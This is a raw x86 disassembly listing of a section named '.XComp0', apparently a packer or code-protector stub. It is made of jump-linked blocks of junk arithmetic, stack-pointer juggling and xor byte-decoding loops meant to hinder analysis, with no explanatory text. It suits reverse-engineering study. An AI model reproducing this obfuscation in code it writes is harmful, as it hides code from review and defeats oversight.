loc_581C27:				; CODE XREF: .XComp0:0057B3F3j
		pop	ebx
		shr	ecx, 0Bh
		push	edi
		jmp	loc_57ECD4
; ---------------------------------------------------------------------------


loc_581C31:				; CODE XREF: .XComp0:005816BCj
		xchg	ecx, [esp]
		pop	esp
		push	edi
		mov	edi, 2
		add	ebx, edi
		mov	edi, [esp]
		jmp	loc_579AC5
; ---------------------------------------------------------------------------


loc_581C45:				; CODE XREF: .XComp0:0057F10Ej
		shr	eax, 0Bh
		xor	ecx, eax
		push	2C4Bh
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	31AAh
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		push	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_57D35B
; ---------------------------------------------------------------------------


loc_581CBF:				; CODE XREF: .XComp0:0057771Dj
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	al, 4Dh
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_57FA60
; ---------------------------------------------------------------------------


loc_581CD7:				; CODE XREF: .XComp0:005762E1j
		sub	ebp, 0C513221h
		sub	ebp, esi
		add	ebp, 0C513221h
		pop	esi
		sub	esp, 4
		jmp	loc_580478
; ---------------------------------------------------------------------------


loc_581CEE:				; CODE XREF: .XComp0:0057517Ej
		mov	al, 63h
		shl	al, 4
		shr	al, 2
		and	al, 2Fh
		add	al, 0BBh
		add	al, 0Ch
		mov	dh, al
		pop	eax
		add	al, dh
		pop	edx
		sub	al, ch
		sub	al, 0D3h
		jmp	loc_5800BA
; ---------------------------------------------------------------------------


loc_581D0B:				; CODE XREF: .XComp0:0057D4BFj
		sub	bl, 1
		shr	bl, 7
		push	eax
		push	ecx
		mov	cl, 74h
		mov	ah, cl
		pop	ecx
		push	ebx
		mov	bh, 43h
		dec	bh
		sub	bh, 0D6h
		push	104Fh
		mov	[esp], edx
		mov	dh, 8Dh
		sub	dh, 1Ah
		xor	bh, dh
		pop	edx
		neg	bh
		push	ecx
		push	edx
		mov	dl, 9Eh
		mov	ch, 3Eh
		add	ch, dl
		pop	edx
		sub	bh, ch
		pop	ecx
		add	bh, 4Ch
		sub	ah, 8Eh
		sub	ah, bh
		add	ah, 8Eh
		mov	ebx, [esp]
		add	esp, 4
		shr	ah, 5
		push	ebx
		push	eax
		mov	al, 78h
		mov	bh, 6Ah
		xor	bh, al
		mov	eax, [esp]
		jmp	loc_5796BF
; ---------------------------------------------------------------------------
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_581D6A:				; CODE XREF: .XComp0:00574A80j
		mov	esp, [esp]
		mov	[esp], eax
		push	dword ptr [esp]
		pop	eax
		push	7444h
		jmp	loc_5814AD
; ---------------------------------------------------------------------------


loc_581D7E:				; CODE XREF: .XComp0:00576B86j
		push	ebp
		push	esi
		mov	esi, 5C6A7D98h
		dec	esi
		not	esi
		jmp	loc_577E7F
; ---------------------------------------------------------------------------


loc_581D8D:				; CODE XREF: .XComp0:0058059Cj
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	4D17h
		jmp	loc_57BC85
; ---------------------------------------------------------------------------


loc_581DA9:				; CODE XREF: .XComp0:00581E52j
		push	ebx
		jmp	loc_5818F6
; ---------------------------------------------------------------------------


loc_581DAF:				; CODE XREF: .XComp0:00574853j
		mov	[esp], eax
		mov	ah, 0C5h
		shr	ah, 7
		shr	ah, 2
		push	ecx
		mov	ch, 38h
		shr	ch, 2
		inc	ch
		xor	ch, 7Dh
		xor	ah, ch
		pop	ecx
		jmp	loc_582A4B
; ---------------------------------------------------------------------------


loc_581DCD:				; CODE XREF: .XComp0:0057C6FDj
		sub	esi, 4E620983h
		sub	esi, edx
		jmp	loc_577BE5
; ---------------------------------------------------------------------------


loc_581DDA:				; CODE XREF: .XComp0:0058158Fj
		push	eax
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_581DE1:				; CODE XREF: .XComp0:005800DEj
		mov	[esp], eax
		mov	eax, 124954A9h
		sub	esi, eax
		pop	eax
		jmp	loc_5772BE
; ---------------------------------------------------------------------------


loc_581DF1:				; CODE XREF: .XComp0:0057459Ej
		mov	eax, esi
		pop	esi
		add	esi, eax
		mov	eax, [esp]
		jmp	loc_580FF5
; ---------------------------------------------------------------------------


loc_581DFE:				; CODE XREF: .XComp0:00582991j
		pop	ecx
		jmp	loc_57CE69
; ---------------------------------------------------------------------------


loc_581E04:				; CODE XREF: .XComp0:005836F9j
		shr	cl, 2
		sub	cl, 51h
		sub	ah, cl
		jmp	loc_5819C2
; ---------------------------------------------------------------------------


loc_581E11:				; CODE XREF: .XComp0:005764B4j
		push	ebp
		mov	ebp, 1A7C335Fh
		jmp	loc_574AF2
; ---------------------------------------------------------------------------


loc_581E1C:				; CODE XREF: .XComp0:005756FEj
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		jmp	loc_57FF98
; ---------------------------------------------------------------------------


loc_581E34:				; CODE XREF: .XComp0:00574A63j
		pop	eax
		add	dh, 24h
		xor	dh, 71h
		jmp	loc_57B535
; ---------------------------------------------------------------------------


loc_581E40:				; CODE XREF: .XComp0:0057B2EFj
		mov	esp, [esp]
		jmp	loc_5812A4
; ---------------------------------------------------------------------------


loc_581E48:				; CODE XREF: .XComp0:00574E9Aj
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_581DA9
; ---------------------------------------------------------------------------


loc_581E57:				; CODE XREF: .XComp0:0057BFF6j
		push	esi
		jmp	loc_57E375
; ---------------------------------------------------------------------------


loc_581E5D:				; CODE XREF: .XComp0:00578BB8j
		mov	ecx, esp
		push	esi
		mov	esi, 56D20557h
		or	esi, 62233F44h
		push	ecx
		jmp	loc_578A2D
; ---------------------------------------------------------------------------


loc_581E71:				; CODE XREF: .XComp0:0057AE18j
		xor	eax, ebx
		push	edi
		mov	edi, 54F1404Eh
		push	edx
		mov	edx, 0AC23AD6h
		xor	edx, 0DE47091h
		and	edx, 29691E8Ah
		jmp	loc_580AB0
; ---------------------------------------------------------------------------


loc_581E90:				; CODE XREF: .XComp0:0057FF4Dj
		shr	ah, 4
		push	dx
		mov	dl, 3Fh
		and	ah, dl
		pop	dx
		sub	ah, 75h
		jmp	loc_57932A
; ---------------------------------------------------------------------------


loc_581EA3:				; CODE XREF: .XComp0:0057FEB8j
		pop	ebp
		inc	ecx
		push	ecx
		inc	dword ptr [esp]
		pop	ecx
		xor	ecx, 59107313h
		or	eax, ecx
		jmp	loc_581258
; ---------------------------------------------------------------------------


loc_581EB7:				; CODE XREF: .XComp0:00577F36j
		pop	ecx
		add	ch, ah
		pop	ax
		not	ch
		jmp	loc_57401D
; ---------------------------------------------------------------------------


loc_581EC3:				; CODE XREF: .XComp0:0057E9DEj
		or	edx, 2875231Fh
		xor	edx, 15212A16h
		push	edx
		not	dword ptr [esp]
		pop	edx
		shl	edx, 7
		or	edx, 6259121Ah
		jmp	loc_57CE0C
; ---------------------------------------------------------------------------


loc_581EE2:				; CODE XREF: .XComp0:0057BA3Bj
		xchg	ebp, [esp]
		jmp	loc_576602
; ---------------------------------------------------------------------------


loc_581EEA:				; CODE XREF: .XComp0:0058216Cj
		pop	ecx
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_57CC9F
; ---------------------------------------------------------------------------


loc_581EF6:				; CODE XREF: .XComp0:00583721j
		sub	esp, 4
		mov	[esp], esp
		push	edi
		push	eax
		mov	eax, 7D3C6404h
		mov	edi, eax
		pop	eax
		jmp	loc_57851C
; ---------------------------------------------------------------------------


loc_581F0E:				; CODE XREF: .XComp0:0057F474j
		mov	[esp], esi
		push	2383h
		jmp	near ptr byte_57BD93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_581F1B:				; CODE XREF: sub_5A47B5-23373j
		mov	dl, 61h
		sub	dl, 0D2h
		sub	dl, 0BFh
		sub	al, dl
		pop	edx
		sub	al, dl
		push	ebx
		mov	bl, 17h
		xchg	dl, bl
		jmp	loc_579AE3
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_581F32:				; CODE XREF: .XComp0:00580344j
		push	ebp
		mov	ebp, 0E060BAAh
		jmp	loc_57876B
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		jmp	loc_576D5D
; ---------------------------------------------------------------------------


loc_581F47:				; CODE XREF: .XComp0:0057D809j
		push	edx
		jmp	loc_57C857
; ---------------------------------------------------------------------------


loc_581F4D:				; CODE XREF: .XComp0:00578C7Cj
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 389C3215h
		xor	[esp+4], ecx
		pop	ecx
		jmp	loc_578EA5
; ---------------------------------------------------------------------------


loc_581F65:				; CODE XREF: .XComp0:005775D8j
		shl	eax, 2
		xor	eax, 43C47A7Eh
		jmp	loc_579C95
; ---------------------------------------------------------------------------


loc_581F72:				; CODE XREF: .XComp0:00580F5Fj
		sub	esp, 4
		jmp	loc_579322
; ---------------------------------------------------------------------------


loc_581F7D:				; CODE XREF: .XComp0:00575549j
		push	ecx
		mov	ecx, 17A84CA4h
		jmp	loc_577491
; ---------------------------------------------------------------------------


loc_581F88:				; CODE XREF: .XComp0:00582629j
		push	47AEh
		mov	[esp], esi
		push	edx
		push	eax
		mov	eax, 3D5928C4h
		push	esi
		mov	esi, eax
		mov	edx, esi
		pop	esi
		pop	eax
		dec	edx
		push	edx
		dec	dword ptr [esp]
		pop	edx
		shr	edx, 2
		and	edx, 40767C1Bh
		jmp	loc_58171B
; ---------------------------------------------------------------------------


loc_581FB2:				; CODE XREF: .XComp0:00576E96j
		sub	al, 11h
		mov	edx, [esp]
		add	esp, 4
		sub	al, bl
		add	al, 0ACh
		push	ebx
		jmp	loc_579EAF
; ---------------------------------------------------------------------------


loc_581FC4:				; CODE XREF: .XComp0:0057C807j
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	4853h
		mov	[esp], ebx
		push	4
		pop	ebx
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		push	ecx
		jmp	loc_580EB0
; ---------------------------------------------------------------------------


loc_581FEC:				; CODE XREF: .XComp0:005779B5j
		shr	eax, 4
		sub	eax, 40155A4h
		add	ebx, eax
		pop	eax
		jmp	loc_57BAD4
; ---------------------------------------------------------------------------


loc_581FFC:				; CODE XREF: .XComp0:0057AB24j
		and	bl, 7Ah
		xor	bl, 0C1h
		shl	bl, 1
		sub	bl, 0FFh
		not	bl
		sub	bl, 57h
		shr	bl, 2
		xor	bl, 8Dh
		add	bl, 0FFh
		sub	bl, 39h
		xor	bl, 8Ch
		push	eax
		push	ecx
		mov	cl, 0BCh
		jmp	loc_5797CA
; ---------------------------------------------------------------------------


loc_582024:				; CODE XREF: .XComp0:0057DF90j
		add	esp, 4
		push	ebp
		push	eax
		jmp	loc_57D73A
; ---------------------------------------------------------------------------


loc_58202E:				; CODE XREF: .XComp0:0057E236j
		add	dword ptr [esp+4], 28F534D8h
		add	[esp+4], ecx
		jmp	loc_57EFF2
; ---------------------------------------------------------------------------


loc_58203F:				; CODE XREF: .XComp0:00579F21j
		and	ah, 54h
		dec	ah
		sub	ah, 0DFh
		add	ah, 73h
		and	dh, ah
		pop	eax
		xor	dh, 6Ch
		push	ebx
		mov	bh, 1Ah
		shr	bh, 6
		shr	bh, 7
		inc	bh
		not	bh
		add	bh, 0AEh
		add	al, bh
		pop	ebx
		add	al, dh
		push	ebx
		jmp	loc_57D56F
; ---------------------------------------------------------------------------


loc_58206B:				; CODE XREF: .XComp0:0057CEB4j
		sub	esi, eax
		sub	esi, 43AC32A2h
		jmp	loc_579635
; ---------------------------------------------------------------------------


loc_582078:				; CODE XREF: .XComp0:0057EF14j
		mov	esi, [esp]
		add	esp, 4
		shl	ebx, 5
		xor	ebx, 3D530DC4h
		xor	edi, ebx
		jmp	loc_577EC1
; ---------------------------------------------------------------------------


loc_58208E:				; CODE XREF: .XComp0:00577BA7j
		pop	edi
		xchg	ecx, [esp]
		jmp	loc_5785CA
; ---------------------------------------------------------------------------


loc_582097:				; CODE XREF: .XComp0:00575F7Bj
		pop	eax
		std
		push	eax
		jmp	loc_58281B
; ---------------------------------------------------------------------------


loc_58209F:				; CODE XREF: .XComp0:0057C402j
		add	dword ptr [esp], 31485AB6h
		jmp	loc_57773A
; ---------------------------------------------------------------------------


loc_5820AB:				; CODE XREF: .XComp0:00575452j
		push	ecx
		mov	ecx, 0F92F95ADh
		add	edi, ecx
		pop	ecx
		jmp	loc_57D293
; ---------------------------------------------------------------------------


loc_5820B9:				; CODE XREF: .XComp0:00579097j
		sub	esp, 4
		jmp	loc_575C52
; ---------------------------------------------------------------------------


loc_5820C4:				; CODE XREF: .XComp0:0057A921j
		push	esp
		pop	dword ptr [esp]
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		jmp	loc_57AC08
; ---------------------------------------------------------------------------


loc_5820D7:				; CODE XREF: .XComp0:00580660j
		add	ebx, edx
		sub	ebx, 74164392h
		jmp	loc_576332
; ---------------------------------------------------------------------------


loc_5820E4:				; CODE XREF: .XComp0:0057CAAAj
		xor	esi, [esp]
		mov	esp, [esp]
		or	ebx, ebx
		jnz	loc_57B149
		push	44BDh
		jmp	loc_581B70
; ---------------------------------------------------------------------------


loc_5820FC:				; CODE XREF: .XComp0:00578842j
		mov	dh, bh
		mov	ch, dh
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	cx
		jmp	loc_580D33
; ---------------------------------------------------------------------------


loc_58211F:				; CODE XREF: .XComp0:00576D9Fj
		push	esp
		push	dword ptr [esp]
		jmp	loc_579FF1
; ---------------------------------------------------------------------------


loc_582128:				; CODE XREF: .XComp0:00583277j
		pop	ecx
		pop	bx
		sub	al, 60h
		add	al, bl
		push	306Fh
		jmp	loc_578101
; ---------------------------------------------------------------------------


loc_582139:				; CODE XREF: .XComp0:005804B5j
		push	ebx
		jmp	loc_57BAA3
; ---------------------------------------------------------------------------


loc_58213F:				; CODE XREF: .XComp0:00582B31j
		pop	esi
		jmp	loc_57A8E7
; ---------------------------------------------------------------------------


loc_582145:				; CODE XREF: .XComp0:0057D1B5j
		pop	ebx
		add	esp, 4
		pop	ecx
		jmp	loc_579AB5
; ---------------------------------------------------------------------------


loc_58214F:				; CODE XREF: .XComp0:0057FA5Bj
		push	ecx
		mov	ecx, 7E6F7543h
		jmp	loc_576414
; ---------------------------------------------------------------------------


loc_58215A:				; CODE XREF: .XComp0:005830D7j
		sub	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_57C74A
; ---------------------------------------------------------------------------


loc_582169:				; CODE XREF: .XComp0:0057D06Dj
		pop	ecx
		add	edx, ecx
		jmp	loc_581EEA
; ---------------------------------------------------------------------------


loc_582171:				; CODE XREF: .XComp0:0057E8C6j
		sub	esi, edx
		mov	edx, [esp]
		push	14C3h
		mov	[esp], eax
		push	esp
		jmp	loc_57D0C2
; ---------------------------------------------------------------------------


loc_582184:				; CODE XREF: .XComp0:00580F34j
		sub	edx, ebx
		add	edx, 581D3C2Fh
		push	ebx
		mov	ebx, 517B0BCFh
		sub	ebx, 0FFFFFFFFh
		jmp	loc_57797F
; ---------------------------------------------------------------------------


loc_58219A:				; CODE XREF: .XComp0:005828BCj
		push	199Ch
		jmp	loc_574367
; ---------------------------------------------------------------------------


loc_5821A4:				; CODE XREF: .XComp0:0057B484j
		push	308Bh
		mov	[esp], ecx
		mov	ecx, 4
		add	eax, 2F47B2Fh
		jmp	loc_579AF8
; ---------------------------------------------------------------------------


loc_5821BB:				; CODE XREF: .XComp0:00575E1Cj
		add	eax, 0B34E90FFh
		jmp	loc_577363
; ---------------------------------------------------------------------------


loc_5821C5:				; CODE XREF: .XComp0:0058054Cj
		pop	esi
		jmp	loc_57E02A
; ---------------------------------------------------------------------------


loc_5821CB:				; CODE XREF: .XComp0:0057A183j
		sub	esi, 68333B4Dh
		sub	ebp, esi
		pop	esi
		xor	ebx, ebp
		pop	ebp
		inc	ebx
		add	ebx, 0A1EABFB1h
		sub	ecx, ebx
		jmp	loc_5737F5
; ---------------------------------------------------------------------------


loc_5821E5:				; CODE XREF: .XComp0:00582878j
		push	ecx
		jmp	loc_579C82
; ---------------------------------------------------------------------------


loc_5821EB:				; CODE XREF: .XComp0:005796F5j
		pop	esi
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	edi, 4
		jmp	loc_5787D8
; ---------------------------------------------------------------------------


loc_582207:				; CODE XREF: .XComp0:0057FA35j
		add	edi, 0C852F1AEh
		jmp	loc_57859E
; ---------------------------------------------------------------------------


loc_582212:				; CODE XREF: .XComp0:005766C9j
		push	ebx
		mov	bl, al
		push	edx
		mov	dh, bl
		mov	cl, dh
		pop	edx
		pop	ebx
		mov	eax, [esp]
		jmp	loc_578725
; ---------------------------------------------------------------------------


loc_582224:				; CODE XREF: .XComp0:00578053j
		mov	[esp], ax
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_58222D:				; CODE XREF: .XComp0:0057AB08j
		sub	ebx, edi
		pop	edi
		jmp	loc_573812
; ---------------------------------------------------------------------------


loc_582235:				; CODE XREF: .XComp0:0057514Fj
		push	edx
		mov	edx, 37266A24h
		jmp	loc_5829EC
; ---------------------------------------------------------------------------


loc_582240:				; CODE XREF: .XComp0:00574287j
		push	1500h
		mov	[esp], edi
		jmp	loc_57AAC1
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	6A5Dh
		mov	[esp], edi
		jmp	loc_57D242
; ---------------------------------------------------------------------------


loc_58225D:				; CODE XREF: .XComp0:00579E0Bj
		pop	esi
		push	edx
		mov	dx, 364Ah
		xchg	cx, dx
		neg	cx
		xchg	cx, dx
		push	bx
		mov	bx, 55D0h
		add	dx, bx
		pop	bx
		xor	bp, dx
		pop	edx
		mov	bx, bp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	edx
		mov	dx, 6645h
		and	dx, 2430h
		push	cx
		mov	cx, 6C41h
		jmp	loc_57B929
; ---------------------------------------------------------------------------


loc_58229A:				; CODE XREF: .XComp0:00574F11j
		and	eax, edx
		jmp	loc_57B489
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_5822A1:				; CODE XREF: sub_5A47B5-2C596j
		sub	bl, 50h
		sub	bl, 0FFh
		push	ebx
		jmp	loc_57CA46
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	ecx
		push	13E2h
		mov	[esp], eax
		push	edx
		mov	dl, 7Ch
		xor	dl, 0EFh
		or	dl, 8Ch
		push	cx
		jmp	loc_573C0C
; ---------------------------------------------------------------------------


loc_5822C9:				; CODE XREF: .XComp0:0057993Fj
		mov	ebp, 5B251CCDh
		shl	ebp, 5
		or	ebp, 73181EABh
		jmp	loc_57A1B0
; ---------------------------------------------------------------------------


loc_5822DC:				; CODE XREF: .XComp0:00581203j
		push	edx
		push	eax
		jmp	loc_57E57E
; ---------------------------------------------------------------------------


loc_5822E3:				; CODE XREF: .XComp0:005748F0j
		xor	eax, [esp]
		jmp	loc_57F38A
; ---------------------------------------------------------------------------


loc_5822EB:				; CODE XREF: .XComp0:0057BA43j
		pop	ecx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	esi
		push	0FFFFFFFFh
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_582978
; ---------------------------------------------------------------------------


loc_582307:				; CODE XREF: .XComp0:00581052j
		add	esp, 4
		add	al, bl
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	253Ah
		mov	[esp], edx
		mov	dl, 7Bh
		push	eax
		push	bx
		mov	bl, 4Fh
		mov	al, bl
		jmp	loc_57F3B8
; ---------------------------------------------------------------------------


loc_58232C:				; CODE XREF: .XComp0:0057E694j
		push	407Ch
		mov	[esp], eax
		mov	eax, 7A0D4ABAh
		add	eax, 60931130h
		add	eax, 6A7E22FCh
		xor	eax, 24AB2A8Ch
		push	ecx
		mov	ecx, 198E5935h
		shl	ecx, 2
		sub	ecx, 66C750AAh
		neg	ecx
		and	ecx, 73670BE1h
		add	ecx, 2086F26h
		jmp	loc_57C175
; ---------------------------------------------------------------------------


loc_58236A:				; CODE XREF: .XComp0:00577A88j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		jmp	loc_5740BA
; ---------------------------------------------------------------------------


loc_582379:				; CODE XREF: .XComp0:00575656j
		add	esp, 4
		push	eax
		jmp	loc_57DB5B
; ---------------------------------------------------------------------------


loc_582382:				; CODE XREF: .XComp0:00574CF0j
		sub	ecx, edx
		sub	ecx, 5BAE3378h
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		push	2000000h
		jmp	loc_576839
; ---------------------------------------------------------------------------


loc_58239C:				; CODE XREF: .XComp0:0058047Bj
		pop	esi
		pop	ebp
		shr	esi, 5
		shr	esi, 7
		shr	esi, 1
		push	edx
		mov	edx, 7AD41CFEh
		jmp	loc_582EA8
; ---------------------------------------------------------------------------


loc_5823B1:				; CODE XREF: .XComp0:00580245j
		mov	edi, [esp]
		jmp	loc_57FC93
; ---------------------------------------------------------------------------


loc_5823B9:				; CODE XREF: .XComp0:00577E04j
		mov	edx, 4
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_57E699
; ---------------------------------------------------------------------------


loc_5823D8:				; CODE XREF: .XComp0:00579CCBj
		push	ax
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_5823E0:				; CODE XREF: .XComp0:0057A9B9j
		mov	[esp], eax
		jmp	loc_5803EA
; ---------------------------------------------------------------------------


loc_5823E8:				; CODE XREF: .XComp0:0057AE5Ej
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_580E23
; ---------------------------------------------------------------------------


loc_5823FB:				; CODE XREF: .XComp0:0057E987j
		pop	ebp
		add	esp, 4


loc_5823FF:				; CODE XREF: .XComp0:0057E3F4j
		push	42CBh
		mov	[esp], ebx
		jmp	loc_575DC9
; ---------------------------------------------------------------------------


loc_58240C:				; CODE XREF: .XComp0:0057F95Dj
		push	edx
		jmp	loc_57501D
; ---------------------------------------------------------------------------


loc_582412:				; CODE XREF: .XComp0:0057F3A4j
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_577485
; ---------------------------------------------------------------------------


loc_58243F:				; CODE XREF: .XComp0:0057A6D5j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edx
		jmp	loc_57D2F3
; ---------------------------------------------------------------------------


loc_582452:				; CODE XREF: .XComp0:005744EBj
		xchg	eax, ebx
		add	eax, 7BDF4444h
		and	ecx, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_57F7D5
; ---------------------------------------------------------------------------


loc_582463:				; CODE XREF: .XComp0:0057B9EAj
		mov	ebp, 2DD0214Bh
		add	esi, ebp
		pop	ebp
		push	edi
		mov	edi, 5C714D70h
		jmp	loc_57EED0
; ---------------------------------------------------------------------------


loc_582476:				; CODE XREF: .XComp0:0057F784j
		mov	ebp, 544939CAh
		jmp	loc_57A236
; ---------------------------------------------------------------------------


loc_582480:				; CODE XREF: .XComp0:00580F3Ej
		xor	eax, 5920B924h
		add	esi, eax
		pop	eax
		neg	esi
		sub	esi, 0EF4FBC52h
		mov	ebx, esi
		pop	esi
		xor	eax, ebx
		pop	ebx
		push	1C2Fh
		mov	[esp], edi
		push	ecx
		push	47F62DB4h
		pop	ecx
		xor	ecx, 38E823A2h
		jmp	loc_57FCEB
; ---------------------------------------------------------------------------


loc_5824B0:				; CODE XREF: .XComp0:0057C5DDj
		add	esp, 4
		sub	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	eax
		jmp	loc_58276D
; ---------------------------------------------------------------------------


loc_5824C2:				; CODE XREF: .XComp0:00575213j
		pop	esp
		xchg	ebp, [esp]
		jmp	loc_57C041
; ---------------------------------------------------------------------------


loc_5824CB:				; CODE XREF: .XComp0:0057E864j
		add	ecx, 63826641h
		push	19A8h
		mov	[esp], eax
		push	7AFh
		mov	[esp], edx
		mov	edx, 24h
		jmp	loc_58061C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_576E0D
; ---------------------------------------------------------------------------


loc_5824F6:				; CODE XREF: .XComp0:00578894j
		pop	esp
		mov	dx, [esp]
		push	edx
		mov	edx, esp
		push	ebp
		mov	ebp, 49E069A0h
		shr	ebp, 3
		push	0
		sub	[esp], ebp
		pop	ebp
		or	ebp, 75D3CCFh
		shl	ebp, 7
		and	ebp, 73D058B0h
		sub	ebp, 63D0407Ch
		jmp	loc_580B6E
; ---------------------------------------------------------------------------


loc_58252A:				; CODE XREF: .XComp0:0057BA90j
		sub	esp, 4
		jmp	loc_579D01
; ---------------------------------------------------------------------------


loc_582535:				; CODE XREF: .XComp0:005755D6j
		xor	edx, [esp]
		pop	esp
		imul	cl
		movzx	cx, ah
		push	small 45D7h
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_577526
; ---------------------------------------------------------------------------


loc_582553:				; CODE XREF: .XComp0:0057ED1Cj
		add	ebp, esi
		pop	esi
		jmp	loc_57A937
; ---------------------------------------------------------------------------


loc_58255B:				; CODE XREF: .XComp0:00578606j
		add	esp, 4
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		mov	ebx, esp
		push	24CBh
		mov	[esp], esi
		mov	esi, 18AB4655h
		jmp	loc_576817
; ---------------------------------------------------------------------------


loc_582579:				; CODE XREF: .XComp0:0057ACD2j
		pop	esi
		jmp	loc_5827C4
; ---------------------------------------------------------------------------


loc_58257F:				; CODE XREF: .XComp0:0057B418j
		sub	ecx, 0D775DABh
		sub	ecx, 110916E9h
		jmp	loc_581265
; ---------------------------------------------------------------------------


loc_582590:				; CODE XREF: .XComp0:00578F6Bj
		add	eax, 5D4058B3h
		push	ebp
		push	eax
		mov	eax, 4CE535E8h
		jmp	loc_5753E7
; ---------------------------------------------------------------------------


loc_5825A1:				; CODE XREF: .XComp0:00574EC2j
		pop	esi
		push	ebp
		mov	ebp, 6E39738Ah
		not	ebp
		shl	ebp, 7
		sub	ebp, 0E3463A7Ch
		add	esi, ebp
		pop	ebp
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_57542F
; ---------------------------------------------------------------------------


loc_5825C1:				; CODE XREF: .XComp0:0057D490j
		shl	cl, 8
		add	cl, 5Bh
		shl	cl, 7
		xor	cl, 0FCh
		xor	dl, cl
		pop	ecx
		push	edx
		mov	dl, 0F6h
		jmp	loc_57A3AD
; ---------------------------------------------------------------------------


loc_5825D8:				; CODE XREF: .XComp0:005830A0j
		shr	edx, 5
		add	edx, 76E53774h
		and	edx, 5D88130Ch
		shl	edx, 1
		sub	edx, 8007BADCh
		and	eax, edx
		pop	edx
		xor	eax, 0E9F230A7h
		sub	esi, eax
		pop	eax
		jmp	loc_5807DA
; ---------------------------------------------------------------------------


loc_5825FF:				; CODE XREF: .XComp0:0057CCB6j
		sub	esi, 7AAA074Fh
		pop	eax
		jmp	loc_57CF05
; ---------------------------------------------------------------------------


loc_58260B:				; CODE XREF: .XComp0:00573BF8j
		dec	ebp
		jmp	loc_5762AF
; ---------------------------------------------------------------------------


loc_582611:				; CODE XREF: .XComp0:0057AD61j
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_581F88
; ---------------------------------------------------------------------------


loc_58262E:				; CODE XREF: .XComp0:0057D8E3j
		pop	eax
		xchg	esi, [esp]
		pop	esp
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_57B377
; ---------------------------------------------------------------------------


loc_58264A:				; CODE XREF: .XComp0:0057FFE8j
		pop	esp
		add	esp, 4
		or	eax, eax
		jz	loc_579A6C
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	282Ch
		jmp	loc_578D41
; ---------------------------------------------------------------------------


loc_58266F:				; CODE XREF: .XComp0:00574574j
		pop	edi
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_582675:				; CODE XREF: .XComp0:005767D7j
		shr	ecx, 1
		jmp	loc_57BEB2
; ---------------------------------------------------------------------------


loc_58267C:				; CODE XREF: .XComp0:00575C47j
		push	837h
		mov	[esp], ebx
